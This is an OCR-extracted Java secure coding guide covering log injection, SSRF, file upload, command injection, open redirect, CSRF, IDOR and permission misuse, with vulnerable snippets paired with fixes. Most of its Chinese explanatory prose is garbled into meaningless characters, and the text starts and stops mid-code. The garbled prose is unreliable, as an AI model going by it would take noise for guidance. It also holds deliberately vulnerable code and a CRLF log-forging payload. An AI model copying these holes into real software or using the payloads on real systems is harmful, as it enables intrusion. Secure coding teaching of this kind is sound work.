String str = "Data";
fop.write(str.getBytes());

}

finally

{

if (fop != null)

{

try

{

fop.close();

}



catch (IOException x)
{

// handle error

}

—— e

}

FEARBERETIRE B RAIMBRIGES X4

BRI SRAG

BRXET

File

FileOutputStream

BEETTER

public class TempFile

{

public static void main(String[] args)

{

Path tempFile = null;

try

{

tempFile = Files.createTempFile ("tempnam", ".tmp");

try (BufferedWriter writer = Files.newBufferedWriter (tempFile,
Charset.forName ("UTF8"),

StandardOpenOption.DELETE ON CLOSE))

{

// write to the file and use it

}

System.out.println ("Temporary file write done, file erased");

}

catch (IOException x)

{

// Some other sort of failure, such as permissions.

System.err.println ("Error creating temporary file");

}

}

}

XA IEF B IR SN B2 T JDK1. 7 B9 NT02 BHRMJLANTTE. EEMT createTempFile ()
TE, BANTTESHE—ENAXHE (XHEENMEESRNBEEAMNSSIATEX, IDK GRAMHERXA Y
YHA) o XMHEA try-with-resources MERKITH, XA BIXAXH, AERSER
FRE, FEETFAXMR AT DELETE_ON_CLOSE I, #8XHEXMNSHBNMER.
public class TempFile

{

public static void main(String[] args) throws IOException

{

File f = File.createTempFile ("tempnam", ".tmp");
FileOutputStream fop = null;
try

{

fop = new FileOutputStream(f);
// write to the file and use it
}

finally

{
if (fop != null)



{

try

{
fop.close();

}
catch (IOException x)

{

// handle error

}
if (!'f.delete())// delete file when finished

{
// log the error

IBRRN
XF IDKL. 7 ZRIAIARA, TNERNXMHERATEZE. REEEzh, X HETHER.

HIEEA
43
BARERIENAFPAASABSXHISEREEMERSKBEIEEREERNRTIANAE
e A~ Pl
T35 web ¥ BIEFRBEZEM—MERNRPEMEBHE. MRYEREBET AR, BARSHKIDE
HESH, WE—FRFMEXEANERER.
String val=request.getParameter ("val");
try{

int value=Integer.parselnt (val);
}catch (NumberFormatException nfe) {

log.info("Filed to parse val="+val);
}
MRAFA"val"RZFHFHE "twenty-one" (HF 21 MNEX), WHERERUTEE !
INFO:Failed to parse val=twenty-one

A, MRIGFIRALFRE twenty-one30a%0aINFO: +User+logged+out$3dbadguy”, N|HEH
HEIEFUATHE

INFO:Failed to parse val=twenty-one

INFO:User logged out=badguy

BAR, WHEFYUEABRFONEHBRAEERESEE.

BT R

ERREXEF

logger.IDSver*ulIDSname

log

EENE

S LA PBIANBICK, bl pattern.match (Y [A-Za-z0-9 ]+”, uIDSname) REXEN, BUNE
SOENBE T REM .

Buffer X 553 22 4 i i

N

java.nio BHfAy Buffer 2, 41 IntBuffer, CharBuffer, |[XK ByteBuffer EXT—Z&FINFA
%, flwrap (). slice(). duplicate(), XEFERECBE—IFHM buffer WK, EREIUXNH
buffer WRESSFERGHIH FHIELBEER, RZIRAR. B0, wrap () TEBREXBEADEN—
buffer MRIHIRE, BAXETESEE—FN butfer Mg, BEEREECRAHENTEZRNATEL



H, BAREEX buffer WRMEMBSSEHENBEREN, RZFR. BXLbuffer WREELS
AEERED, NESEEHEMNTEARRESENNINE. B, duplicate () AR IR buffer I
ERBERMIM I buffer MR, BUIMIMIEMN buffer WREFBL AT ERBEFSEIRRLS
BIBWERIENARE . AT RHIEXFEMALE, FEMN buffer MIZMAFEMEREENHFTRNIR
@,

e 7~

public class Wrapper

{

private char[] dataArray;

public Wrapper ()

{

dataArray = new char[10];

// Initialize

}

public CharBuffer getBufferCopy ()

{

return CharBuffer.wrap(dataArray);

}

}

public class Duplicator

{

CharBuffer cb;

public Duplicator ()

{

cb = CharBuffer.allocate(10);

// Initialize

}

public CharBuffer getBufferCopy ()

{

return cb.duplicate();

}

}

X MERTGIRBERT — char $4H, RERBIEAEFEE— buffer 1, &FHEE
getBufferCopy () 77A¥ Il buffer RELHATERE,

BT R
LRBR—TXEF
Buffer
IntBuffer
CharBuffer
ByteBuffer
wrap ()

slice ()
duplicate ()
BERR

public class Wrapper

{

private char[] dataArray;
public Wrapper ()

{

// Initialize

dataArray = new char[10];
}

// return a read-only view
public CharBuffer getBufferCopy ()
{



return CharBuffer.wrap(dataArray) .asReadOnlyBuffer();
}
}

public class Duplicator

{

CharBuffer cb;

public Duplicator ()

{

// Initialize

cb = CharBuffer.allocate (10);

}
// return a read-only view
public CharBuffer getBufferCopy ()

{
return cb.asReadOnlyBuffer();

}
}
XNE#HRBILREE CharBuffer BATIRE char FAMN—NRFENRE.

WA (String X2 A&)

N

BREBEIEGFMHA string MR P FERGETEMNRN TR EHSBREE

R

MRAEFEASREIE (BlnZn. HSRERL. FHTS%) ERERAE, NEEERGFTH
XLEHIFETTRESME. BEMS, String WA A REE BIEFMEBUREIE, A, BT String
STERERATHE, FHLARREFER ovM IR ER KM EFHER string BE. BRIE ovM AEFARE,
BNRGZAERETHIREERS BRI ERAETHERIE. IRXENBERFAR NNBE
FHAGFEERETRESSEEREIERE.

private JPasswordFiled pf;
final char[] password=pf.getPassword();

String passwordAsString = new String(password);

BT passwordAsString A String SR, HABKREHE, WRLIKERNGEIEE KR
passwordAsString XRER, B THELELIEMEE.

BRIk

E SRR G € B REUREURFTF AR EIEXE, NEENX A string WMREBWETIZKE L
TXfEE.

BERE

BRARHRABEEFEASEBEEEEER. TFEREERIREFERNTIERASR FREERFES
BEE, MARBEEMHEESRM String AT HEHXTRAP,

TH RG] INEEAEBZ EERRE.

private JPasswordFiled pf;

final char[] password=pf.getPassword();

/ /E R ZED
) ) B R s

Arrays.fill (password, '");



f£F Arrays.£111 () 7535% password FRIEHEER, MMARIESREENZE.

TR

4R
HTXAANRNARBFEENES, SR—EERFHERA USRS R,
iR {5

24053k 1% System.out.printf (“$s”+args[0]) ZL£T{T, EEE
System.out.printf(args[0]) fEk, APTMNEBATRRAFFELLM 15tn FRAGITENH
BRER.

class Format

{

static Calendar c¢ = new GregorianCalendar (1995, GregorianCalendar.MAY, 23);
public static void main(String[] args)

{

// args[0] is the credit card expiration date

// args[0] may contain either %1Stm, %1Ste or %$1StY as malicious arguments
// First argument prints 05 (May), second prints 23 (day)

// and third prints 1995 (year)

// Perform comparison with c¢, if it doesn't match print the following line
System.out.printf (args[0]

+ " did not match! HINT: It was issued on %1$terd of some month",

c);

}

}

XNMERTBIRR T —MEEMENEE. ©REATNRNBHEARMASEIEHAE
BRAFHFEH. IRXELLEHNBARE, RHETMURIRE—REE515tn, $15te
Me1sty z—M&A, KIRBIHRERF R AR A LIy B ER .

HITRER

EXHERMUT KRBT

Printf

Format

BETER

AEEEEA PRSI AHESTAANEASIERS BB XA ERRR A TTER T,
class Format

{

static Calendar c¢ = new GregorianCalendar (1995, GregorianCalendar.MAY, 23);
public static void main(String[] args)

{

// args[0] is the credit card expiration date

// Perform comparison with ¢,

// if it doesn't match print the following line

System.out.printf ("%$s did not match! "

+ " HINT: It was issued on %2Sterd of some month", args[0], c);

}

}

ZIERROG A PRAHBRER U FETFE 50

SSRF

N

SSRF LR HYRER A& 2 A TRIDFIRE T MEMARS 25N FAREEHR TN B X B X B frib UL IR SR
#l, ELZNMIEE URL $E3ERENE F. THE.



e A~

L4k Bt tpURLConnection A, B ERMNT
String url = request.getParameter ("picurl");
StringBuffer response = new StringBuffer();

URL pic = new URL (url);

HttpURLConnection con = (HttpURLConnection) pic.openConnection();
con.setRequestMethod ("GET") ;
con.setRequestProperty ("User-Agent", "Mozilla/5.0");
BufferedReader in = new BufferedReader (new
InputStreamReader (con.getInputStream()));
String inputlLine;
while ((inputlLine = in.readLine()) != null) {

response.append (inputLine) ;

}
in.close();
modelMap.put ("resp", response.toString());
return "getimg.htm";
BRI SRAG
1. NAMNAFEEN url REE R . RRETA— B XGH2REEERE L, FRTESHF
2. NAZRBAFAHE url E3E (XHE#E htnl) o XPRFEER socket IRIRFERE tep &
%, RRRBEEE
3. NARIERFREN URL, BAAE web ¥R, FFEBNEMNBE) wap 35
4, NFAREONRINEE, sEBRIERFRMEN URL, HRIBMRR, MIRRBREENNESENIAEERE ;
RFHRAE BTTP 5 RBEE—REXNZERF . TEPZWEF LSS, ERBHEITNTER T L
HTTP IERBERE, T
HttpClient.execute
HttpClient.executeMethod
HttpURLConnection.connect
HttpURLConnection.getInputStream
URL.openStream
HttpServletRequest
getParameter
URI
URL
HttpClient
Request (X HttpClient HIEFHIZK)
HttpURLConnection
URLConnection
okhttp

BERE:

FRAARZERE BTTP 53K url Hit

BEEIFIE R KBRS BIR B4 A
ZHARNEENPNLEBRFE RSO, (VXA http # https HXRE

A EAEIRTR

vl

X EfeidiEd, BERARARRE LEXHEREER, SBAFTLE jsp F—L& webshell X, K5
BTN T ERRIN LEXHREREREBLREMIRE, MNEEBRFIXHRNF.

iR {51



BAk A MultipartFile Af), REIRIBABRMNT:
public String handleFileUpload (MultipartFile file)
String fileName = file.getOriginalFilename
if (fileName==null) {
return "file is error";

{
()7

}

String filePath = "/static/images/uploads/"+fileName;
if (!file.isEmpty()) {
try {

byte[] bytes = file.getBytes();
BufferedOutputStream stream =
new BufferedOutputStream(new FileOutputStream (new
File(filePath)));
stream.write (bytes);
stream.close () ;
return "OK";
} catch (Exception e) {
return e.getMessage () ;
}
} else {
return "You failed to upload " + file.getOriginalFilename () + "
because the file was empty.";

}

}

%ﬁ%ﬁﬁ

HERSEREERRER (BREMT)
2 tT%E’JfC#%:.*x%ﬁBE%JdefFE’\Jk/J (XHERARSER dos)

EEREXH EENESR. KERHAOT
IndexOf (“.”) MAIEERE—MR HSHEITHE 1.3pg.jsp
BE AR  IndexOf () B lastIndexOf ()
4 XHEEXL
string.equals (fileSuffix) /Auéﬁlz_[ﬁj(/]\'ﬁ o@id string. Jsp XMAREGTL., BEHEE
LR Z Bz A filesuffix.toLowerCase () FAlmBENEERE TR/ \'ﬁ‘i%%lﬁk
s.equalsIgnoreCase (fileSuffix) ,uﬁﬁjyh

BRI R BR AR
String contentType = file.getContentType () ;
X773 BT IART s A S R B SRd 1%
6. java BEFEHFHREIXMH AR, b

MultipartFile

7. HREHERAE X XM LR E RN
File

FileUpload

FileUtils

UploadHandleServlet
FileLoadServlet

getInputStream
FileOutputStream
DiskFileItemFactory
MultipartRequestEntity

BETTER

FERABBERE FEXXHRE KNRE. BEEGTEXENEEESF



B3I E4E (Autobinding)

N

Autobinding-BEIBERE, REARES/ER, ZREE/LNABHWE, 0T :
Mass Assignment: Ruby on Rails, NodedS

Autobinding: Spring MVC, ASP.NET MVC

Object injection: PHP(WHIEAN. RFEFILIFTE)

BRHERENATFAEZARBSNE HTTP 5 RSHACEEFRBEESINER R, MNIFEAXARERS
s FAIZAESR . XEBEHER O R X T AR 91E http 15K, BERSEHPEEINR £, KD
B AIZN RS O e £ — AR T TR A4

i 7~

TR AEE I ZeroNights-HackQuest-2016 fJ demo Af], REIFA justiceleague FBFIEITH
Xk, TINEBERXNNAEESE about, reg, Sign up, Forgot passwordiX 4 NIEAM. Hilx
AN SRR EINEE, BVEAMST R e R E R,

1) B5E reset 717k, BARWMARBBEAME. XHERIESHE

@Controller

@SessionAttributes ("user")
public class ResetPasswordController {

private UserService userService;

@RequestMapping (value = "/reset", method = RequestMethod.POST)

public String resetHandler (@RequestParam String username, Model model) {
User user = userService.findByName (username) ;
if (user == null) {

return "reset";

}

model .addAttribute ("user", user);

return "redirect: resetQuestion";

}

XBENSEFLB username FREFZEXNMHA, WREMILXA user IWHRME| Model H, FHIX
/N Controller {7 @SessionAttributes ("user"), AFIAENHBLSBEINIE user IFENZF!
session H, REHEE] resetQuestion BADH([E L4 0 BARL TUHE .

2) resetQuestion B EI LB TIEE resetViewQuestionHandler XA TERI

@RequestMapping (value = "/resetQuestion", method = RequestMethod.GET)
public String resetViewQuestionHandler (@ModelAttribute User user) {
logger.info ("Welcome resetQuestion ! " + user);

return "resetQuestion";

}

XE{FFH 7T eModelAttribute User user, LFrEXEEM session HFEE user WR, {BEEFAE DR
RURAEIFEKRFARIM user WRPMALTERNESE R user WRNBAROE. FrIAHETE
resetQuestionHandler &i% GET {EKMIFHMET PRI N answer=hehe” &4, X O ING
session FRMNRIME, BEAZHLHEEMNLERBMEREN L hehe”, IFAERE—IRELZ LB
B BN BT 3 1IE BX DO F 3% [B] 25 7L

BHITRER

XMRE—RELBRSTBRIGAEFREI, bk, #7EHs wUESBRILVEROT ¢
@SessionAttributes

@ModelAttribute

XMRRE—RBIRENTAERZ N EE

BELZEETSHF http://bobao.360.cn/learning/detail/3991.html



BERE
Spring MVC RO P{fEAHRInitBinder T2, 1Bid WebDataBinder M7k setAllowedFields.,
setDisallowedFields BB AFH AR ENSE.

URL E A

A

BT web h R BN EERBEABNZESAASIREARMNTIE, MBEBANEREORLEFTELIMER
WZzERAFSISHERZAENNE, BENIBPNRILMAG T SE URL EEGEI@A, HHEEE
TR, TUEAARENERE.

iRl
ALY serviet By redirect A AR, REMKBRERAT:
String site = request.getParameter ("url");

if(!site.isEmpty()) {
response.sendRedirect (site);

}

BT R

java BFH URL EERMNTEYTEBREENBEMIIHTRESBIERN T XEF
sendRedirect

setHeader

forward

redirect

e
RO RERBET M url Hhit
AAFETRLNGIER, AL B

CSRF
1 BEEERT XMERERAFTRBIRUHEITRAEEERERTE
4R

ByhiERAIE (Cross-Site Request Forgery, CSRF) 2—MEEEFAPEAHMBHIER TG
e s, BANGEEEAFZNEERNMNER, Frld csrRr W EEARMITHE, MIEFH
RAPEEE. S2EEE— ML ERA/IN, CSRE TUNMERTMBENER TREAARS. KSR
£, ERMRZEEZFZ—TEAEEADIRANA I CSRE T RERHEIEA web REMEL R,

iRl

HTHAARX CSRF {7 AR, B ZIMERRNESAEMNER M EDIANENB A RENIE
K7, HENENARRERGHEMENSRERER W T 7T HEENEE. flin, —MEEMBRXE
RN T AHEI

GET http://blog.com/article/delete.jsp?id=102

YRHEFSHAA ST THNGEEZEN, NRZAFEXEEMGEMNEIEERTH, BAMEERMEBENE
SUTHERT id A 102 MIXZE, FEMNSNRIEREBRIEEREZBENAANNE:S, MRARRIEFRA

SEAFBERAXHMN.
B TSRS
bk mE— MRS AEER T RREE, AR csrf RIEN., BAEIBIELX CSRF M AR,

—R I T EEEMEIERELSDE token, formtoken HEXBRFNUREREXNERE Referer Hit
IR . FRIMIKA, RE token FXRBEUER token BEABEXEHERIEKR, WREENERISK
Referer AANAENHENES . ERIFRESE T MUMINEEEIEM TR EFE CSRE Wi,
EEIR



Referer #5%, XJ HTTP 153KAY Referer UG, MRIEK Referer MBI ARTE RUFIFIFTRAF, NF=E
BEK,

Token 5, BREIHEMMEN token, FRFEARREIE cookie 1, AP KEIF KM token &
#, BRSIHNZFEAEGHTRIE . MBAREFRNAAIZIE R A EIERIELIZIEK,

Formtoken #&4%, Formtoken RKEARGHE Token K, REERRXKREIFTREN.
WFeLeHRENTEARIERG. BE. BRSO RRRBIER

EIMBERE A POST 13K

wRPAT

MR

HTVEFR BEFFURENTREHSHNMRE, BEORITHNGAATE, L& EHEREHMIEFR
&, mtose I HITIRIAE.

iRl

b4t getRuntime X, REIREBARMT

String cmd = request.getParameter ("cmd") ;

Runtime.getRuntime () .exec (cmd) ;

BHITRER

XMRERELREE, ERfRINTRETSNEREY, BTS20 UR. E—YRRNLESHREMRk

HIMTHE R EFELLKINGE, XEXNATNIFGS, FNEFRIERKIZENTTEE IR, £ENTEH

;=f# M phantomjs a:fjb, A BEFERRRGEGLHIT phantom)s FESLINEE. ﬁﬁﬁﬁik%ﬁ

'I‘%JRTELiZ%é’uﬁﬁ url AEAKBEXSE, N REVREFEGSIITRE, B —LHEERSHHN
=0 BTN,

java BEFRTRSGSHRENT

Runtime.exec

Process
ProcessBuilder.start
GroovyShell.evaluate

BEFE
BHEaS AT
MHTEAFPRASE, WXHAPRABERE, WMes, | i F

AR
MR
BRORIR T I 7K. EEENRI, B FEAERPERE RS APIPERETRE, FHRAFT
B, BERMERAEAANEIE XMERSKFEER ; RERA AT AR, BIESHER A SN
iR, XTER AEEMEAN
e A~
@RequestMapping (value="/getUserInfo",method = RequestMethod.GET)
public String getUserInfo (Model model, HttpServletRequest request) throws
IOException {
String userid = request.getParameter ("userid");
if (luserid.isEmpty()) {
String info=userModel.getuserInfoByid (userid) ;
return info;

}

return

wn o,
I



B TSRS

K. EEERNAFROIHERE, RBZAGERFAREBTRNEEEEH X LRI ERM A A BRI M
M EEEFERE

EEIR
REYRIEMAAFHREIZAFREER SIRENR, AREBERRESERESETYREMAR, 5
BIEf A AR EE M P A 12895 KRS Eh IR EL

PRA A

MR

FLFTHBEHRNEEGSSENRIIKR, MXENRRARNIZHEE T . HIMELENR
DR T 55 E R,

1. ARER AllPermission FH I FHEAMEENRD.

2. ReflectPermission i85 suppressAccessChecks BirASSHIFIFFE Java E=FRETH
HERET, EMFEREE—NEXRELODRMENELE, S8RP, IRAERRNHT. Fib, #%
WHK BB IH R ERHMXPEENFTEREMGE. Bk, RAEH ReflectPermission o Hl
suppressAccessChecks BEfrAESHFEH.

3. fR¥ java.lang.RuntimePermission 0] 5 createClassLoader B#rAE, B FHREE!
## ClassLoader MRMMNPR, XFBIEFEEN, EAESRBITMUCIEEB CHFB XN RIH@EL
KINERALD BRI,

NaEkaat]

// Grant the klib library AllPermission

grant codebase "file:${klib.home}/j2se/home/klib.jar"

{

permission java.security.AllPermission;

}i

FIZHERRA AP, A klib EWT T AllPermission i8], XMFITRELRLEEBFEANLRER
B HRIEE

BT R

EREERENTXET

AllPermission

ReflectPermission

suppressAccessChecks

java.lang.RuntimePermission

createClassLoader

BETER

grant codebase "file:${klib.home}/j2se/home/klib.jar", signedBy "Admin"

{

permission java.io.FilePermission "/tmp/*", "read";

permission java.io.SocketPermission "*", "connect";

}i

I IEFRBIRT T —> 0] SR T 400, B IRAN A9 SRS S A
FURBEAZEENERBIXT AllPernission REFEIETERMEAIE T FHlan, X4
IERY Java B (#RFRE) T AllPermission fREHE WIF o INEZAIMUE

// Standard extensions extend the core platform and are granted all
permissions

by default

grant codeBase "file:${{java.ext.dirs}}/*"

{

permission java.security.AllPermission;

}i



FARIAE

I

Java FEBIIERE IVM F— N RBMAM, AFRKNAEIMN Java FHED. BIEFR class XA
NEFHM. RELIPENERE R, ARIVARAKTE, NWEBRENTTEREHBETAAKS
WANKREMEG. BREERSMNTENERRE Java class XHEEMH, I TERtbELZS
B9, IRUAFUHBRIEN TXELXRREE RN ER, BRURSERFHRRIE, BIK Java BRE
MU ZERE, FPBREIER—EFERERM.

SRRl

java -Xverify:none ApplicationName

FRBRIUFEFIASE TVM FifT. VM a5 1758-Xverify none =ik JVM HHIF I RBIE UL
. AXNERRERGS, mERTXNSERERFHRBRIL.

B TSRS
RERE, BRFHVEBRILETEBNSEZEE/ER-Xverify BE,
REER

java ApplicationName

FHBRIERARZ 2B

X EARIE

java -Xverify:all ApplicationName

LT PEE-xverify:all ZHEKR VM BERAFTRREIE (RETRZIIZHEAN) .

TR TR AR M A

M43

Java Rt T ZFh APT 1LSMBREFRBIZETHH Java BBF. XL APT W AFAE TN ENEFTRES
% Java B, XENFHEAENEFHTARSENEMEATRL. B2, MR— Java BFHEE
BEEFREFENATZELKE, WHEREZERS oM RIENXA Java BFNITATEIE 15
B BENSRER . WEZFOLTUNEFNTA#TES. B, % Java BFEfTEE~HERH,
DI IR In iR

SR

${JDK_PATH}/bin/java -agentlib:libname=options ApplicationName

FEIZIERTRBIF, JVM Tool Interface (JVMTI) BIRERGEZETHH VM iBRE. XEREBREE
VM BERINEHMEEE Java 59175 E - agentlib HiFE-agentpath KINFE , MAYF
JVMTT Xz R Rt 1T i 4.

${JDK_PATH}/bin/java -Dcom.sun.management.jmxremote.port=8000 ApplicationName
N EHERTGIFR, ARTH58FES oM AT 8000 in A F#HTIZRER ., MRBFEEERENE
=M SSL MY, TTRRSSERERE.

BRI SRAG

RERE, BaERE.

ZEE

${JDK_PATH}/bin/java -Djava.security.manager ApplicationName

FENGESTE oM i, REAEARE. BRELETRE EFEM-agentlib, -Xrunjdwp, -
Xdebug LTS, FHREKTRIANLLEES,

HF— Java B, WREREADEELRNTEEARETNFNLES, BAXNMEFTRIIE
B RARRELE. fli, IRXMEFREE—NABNE L, ZABNEXR LU ENME S
EARTEHMNERER, B1F Internet, BATREEZHAFN.



RS2 4

4R

1. BB ZEBRABBRE— jar BF

EMAREERENARD (FIHTHRETNEHAZERRENRD) ZEREIFE—IZEEN AR €
B, WHFTUEMBESRD (EAERNEXR)  RERIZEENEERRBITERRE, SBX
EERBARITEEREN.

2. A FERBEREESEMARALNR

— M E LAECERE B TN ENR B NERBRAINFENRIIRE, XERBHFIFITESNA—
ERXMHERHE. HXENFARBANOEBET AP, IMYANEELTENZERS AN, X
EEMNARRTNSEETENE, BEAE RN EIREEERmELTNAMBMNETERLZ
5ho BISIERIEIK AR E WG FLLan—> web N AFERA main () 77k, BRAXESREFNERE
P RO INERA, BRELSHET, J2EE NAPHNEERNIZEXH mnain () B,
e A~

~l— SRREMER— jar

package trusted;

import untrusted.RetValue;

public class MixMatch

{

private void privilegedMethod () throws IOException

{

try

{

final FilelInputStream fis =

AccessController.doPrivileged (new
PrivilegedExceptionAction<FileInputStream> ()

{

public FileInputStream run() throws FileNotFoundException

{

return new FileInputStream("file.txt");

}

1)

try

{

RetValue rt = new RetValue();

if (rt.getValue() == 1)

{

// do something with sensitive file

}

}

finally

{

fis.close();

}

}

catch (PrivilegedActionException e)

{

// forward to handler and log

}

}

public static void main(String[] args) throws IOException

{

MixMatch mm = new MixMatch () ;

mm.privilegedMethod() ;

}



}
// In another JAR file:

package untrusted;
class RetValue

{
public int getValue ()

{

return 1;

}

}

WHF T IR Retvalue KWLM, FENARBEERAEFHNREE, RE MixMatch
BENBEEENEZNRML, WHEENRTLEREPBE—NRIENER JAR X, XN
JAR XHBEEARZETH RetValue £, RKiFTHE.

B TSRS
B IEBUR X B9 HADSR H T .
REER

package trusted;
public class MixMatch
{

/..

}

// In the same signed & sealed JAR file:
package trusted;
class RetValue

{

int getValue ()

{

return 1;

}

}

ZEBRILRGIEME RS BURREME— 8 JAR X4, BRI getvalue () F7 35 MR
FETiAE, FENBHTEHUMERESBENERZE, ZBUTAR, 7 AR XHH M nanifest X4
SLER BRI sealed BHRNSEHITEE !

Name: trusted // package name

Sealed: true // sealed attribute

= A FREREARE TR R

public class Stuff

{
// other fields and methods

public static void main(String argsl[])
{

Stuff stuff = new Stuff();

// Test stuff

}

}

EXNMERRILREF, Stuff EFEAT — P main () BERMXETEA. RENFTAXEREAN, @
BXNEREEEBE T AE-REE (B, —Dweb KA) | FRAREERMTREEZIAA stuff.main ()
Xifie) stuff KHMIK %,

BT REE
BIERBWHEE j2ee RIBFE R main ik
BEAR

EFRAANRARGIFHR main () FT7EM stuff KPBER, XHERGFERAERFNAZIMIAODRT .



58 G iy i) R

MR

MEREREL (BREASHINERES) EROEEFT, TESKBBREEEBELWEE. EAEBH
BF] class XHMAETINRGEF class XHEHRIXLHRES . BAlL, FERESERDERR
. B, ERDEREESEMRIBEENANNER. fln, E— I ELBBNEFPEL—NER
BHAOLHTEER M — NN T A LI .

iRl

public class IPaddress

{

private String ipAddress = "172.16.254.1";

public static void main(String[] args)

{

VA

}

}

ERAPTER javap -c IPaddress iR REE class KEAMHEPERLBIRS = 1P ik, &
EEXRNRHERER 7RSO 1P Mk - 172.16.254.1,

B TSRS
BEREEEEAHERDEERXM.
REER

public class IPaddress

{

public static void main(String[] args) throws IOException
{

char[] ipAddress = new char[100];

BufferedReader br = new BufferedReader (new InputStreamReader (
new FileInputStream("serveripaddress.txt")));

// Reads the server IP address into the char array,

// returns the number of bytes read

int n = br.read(ipAddress);

// Validate server IP address

// Manually clear out the server IP address

// immediately after use

for (int 1 = n - 1; 1 >= 0; i--)

{

ipAddress[i] = 0;

}

br.close();

}

}

XANERHRBETEI M- E BFR TN REURS = 1P #it, HEREATEIMNREFEREEE
BRET ARG R4 E B EE .

HEEK

vl
VEHEELHEMAZIRXEERED. EERM. MEBMF—LIE, XEXIFRMRAMIEEERS,
TEERGEURHTHETRIBEREE, XEEE. BEFRANLEERAAERER, RNBEXASH
RIRERLIRFE -



BRTY RS, BMESRIES, 2E—MERGFEEIR BEFFURGFERSEN, BAXTAKSEEHEE.
TKSE25FHNERFE. HEFNLEXR, XXFROMERFESEEEAAHENH, NmREAS
WA FEXEIE, WXKIFRERBEITRITXTREE NI REENR . FPRGIRI T XS HFE
RBG o
e 7~
@RequestMapping (value="/ifUserExit",method = RequestMethod.GET)
public String ifUserExit (Model model, HttpServletRequest request) throws
IOException {
String phone = request.getParameter ("phone");
if (! phone.isEmpty()) {
boolean ifex=userModel.ifuserExitByPhone (phone) ;
if (!ifex)
return "HAPARGFE";
}
return "AFERIM";

}

BT R

NFMEGAE X BEIFRARGEE, ZRE—H. eRBRNTXEF
getParameter

HttpServletRequest

RequestMethod

EEIR
XE—MHAPREXRIBERNE ., G/\NEREGREEEARSHMRS, AoIERTwmSTIRS.

ARAEHAT

MR

£ java BEEHFAHFE eval XFMRECKRERENITRIE, BT IAEHSRFFNTNRHIIT. jdk iR
S RFENEK.

JavaCompiler javac;

javac = ToolProvider.getSystemJavaCompiler () ;

int compilationResult = javac.run(null,null,null, "-g","-verbose",javaFile);

R UESSHTEE. IRISERESBASH. BHSH, RRSEREH4H, F=1MTHERFER
HEES, BAGLE] Systen.out.err Bl NETNSEIIE, I javac NSE, TUREAE B
JUEEESDE.

BRI SRAG

XMRB—REFKNGRTIR7E, —ROVESEEPRIBI. €BEE-TXRF, REEE
T3] U ATHIB

URLClassLoader

ToolProvider.getSystemJavaCompiler ()

getSystemClassLoader

JavaFileObject

BEETTER

RiE L THE, (FHREEMENTHRBEAZE TEFNRASR. MREFEFERRIPRALNTRE

Ko i 1 RREEFBENTHORE, 2 RES—mEEFTEHTHND, EXEIEMIINTERRAME
MITAIARED,

e=Shiky el

vl

FTEERHAEMNIERMBIER NI RS FER EMN—EEMEIEEENHEIT.
ke

hl— AR



B TEMZTERTINEER Arrays.equals () XKMZILRARMATRNE M
arrl.equals (arr2) XMEILRMA N BATRN G, XMLRHE TREMZE LHER.

BHITRER

2RERNUTXRET

equals ()

REEE

A Arrays.equals() &M arrl.equals(arr2),

T AER == HE | = [LREELUERINE

BETHEMNERTES == XMENENEZILRIUAERT5IARENILE,

BRI SRAG

TE—EXEN LV SRELMETT, XMETRAER—RAEINEIT,

BEETTER

T

ZeEER

MR

LN AFTEMREGERBE, PARKLLEES, HEBRBRELNATLLEESRKNSE, MABLE
MFEEERLDIER, FLENBURIREN Java API, BlIIARIAM S, EIMNEEVI R ERE T TR
FEUE—EKINHRE ELERTREEEROERLE DK FNELETE X KB, XBERLEREE
E=RR T RIPXEE X NBURIRIE. A, NAASOUREISREFEE. N TRXEGRREE KRTx
E— N LeBERI, PIAEXLERE, HEFRENTFIHIAHENLEEERKE,

e A~

public class SensitiveHash

{

private Hashtable<Integer, String> ht = new Hashtable<Integer, String>();
public void removeEntry (Object key)

{

ht.remove (key) ;
}
}

XBEAFEERITHARBIEGL— Hashtable, FEXT — removeEntry () AR FMERHEE
B. XNTEBIAAREEN, AABSRIPESHEER. B FZAEHAERHAR public A non-
final iy, BHEBEREA T EZARE.

B TSRS

BENL S—RA@BLETTERTHRITNE—REATSEMER, BHFRIENBUABRERE. SR
REBEWMRAT RBREREBET M.

EEIR

public class SensitiveHash

{

Hashtable<Integer, String> ht = new Hashtable<Integer, String>();
void removeEntry (Object key)

{

// "removeKeyPermission" is a custom target name for SecurityPermission
check ("removeKeyPermission") ;

ht.remove (key) ;

}

private void check(String directive)

{

SecurityManager sm = System.getSecurityManager ()

if (sm != null)



{
sm.checkSecurityAccess (directive);
}
}
}

ZEBREFERLE EIERIEE R Hashtable LR EL B EEMER. MBIAHAERD
java.security.SecurityPermission removeKeyPermission, — SecurityException &
B HE . SecurityManager.checkSecurityAccess () IARBTIAAEZEESTHEENEEN
PR

R X 35 %2 4 1F A

I

java.security.AccessController £E Java REMNBIN—EBD, MTRLEITNANZTERE. Z
KFESH doPrivileged () TIEAMA RN R ERIMIT—MUIBIR, doPrivileged () TIEKKRMLE
PRI EETEBAR EH—FETHT. Fit, EEEE doPrivileged () RIBRMTTESHEXE B R
EHRREBFEFRINR LM, doPrivileged () IE—ENEMBERERHFRE. Hm, RE—
Web [V BIEfFA Web [RELHF—MERNAOSXHE, RRNBSMBIZTAZEENRE. B4, Wweb KA
RO A — L 2K, KL B SHREDRBMAZEERDIS LR 4. BT SRERE
AINFUE AL HIMLE], BT doPrivileged () FURKIRE RIFAZERE

RIGIF RGN REERD, XMIERT, EERSRAIN EAZEERBIBEASESR.

i 5l

public class PasswordManager

{

public static void changePassword() throws MyAppException

{

//

FileInputStream fin = openPasswordFile();

// test old password with password in file contents; change password

// then close the password file

//

}

public static FileInputStream openPasswordFile ()

throws FileNotFoundException

{

final String passwordFile = "password";
FileInputStream fin = null;
try

{

fin = AccessController.doPrivileged (new
PrivilegedExceptionAction<FileInputStream> ()

{

public FileInputStream run() throws FileNotFoundException
{

// Sensitive action; can't be done outside privileged block
return new FileInputStream(passwordFile);

}

1)

}

catch (PrivilegedActionException x)

{

// Handle exceptions..

}



return fin;

}

}

£ EiRRfBlH, doPrivileged () J7iA# openPasswordFile () JI3APFIAM. openPasswordFile ()
RERE R R EBIREUGHR R A XA FileInputStream jit. M7 openPasswordFile () J1ik
A public, EFREAZEERERABEA, MmsIESRESMRT.

BRI SRAG

ERFEITHRFRX R

BEETTER

public class PasswordManager

{

public static void changePassword() throws MyAppException

{

try

{

FileInputStream fin = openPasswordFile();

// test old password with password in file contents; change password
// then close the password file

}

// Handle exceptions..

}

private static FileInputStream openPasswordFile ()

throws FileNotFoundException

{

final String passwordFile = "password";
FileInputStream fin = null;
try

{

fin = AccessController.doPrivileged (new
PrivilegedExceptionAction<FileInputStream> ()
{

public FileInputStream run() throws FileNotFoundException

{

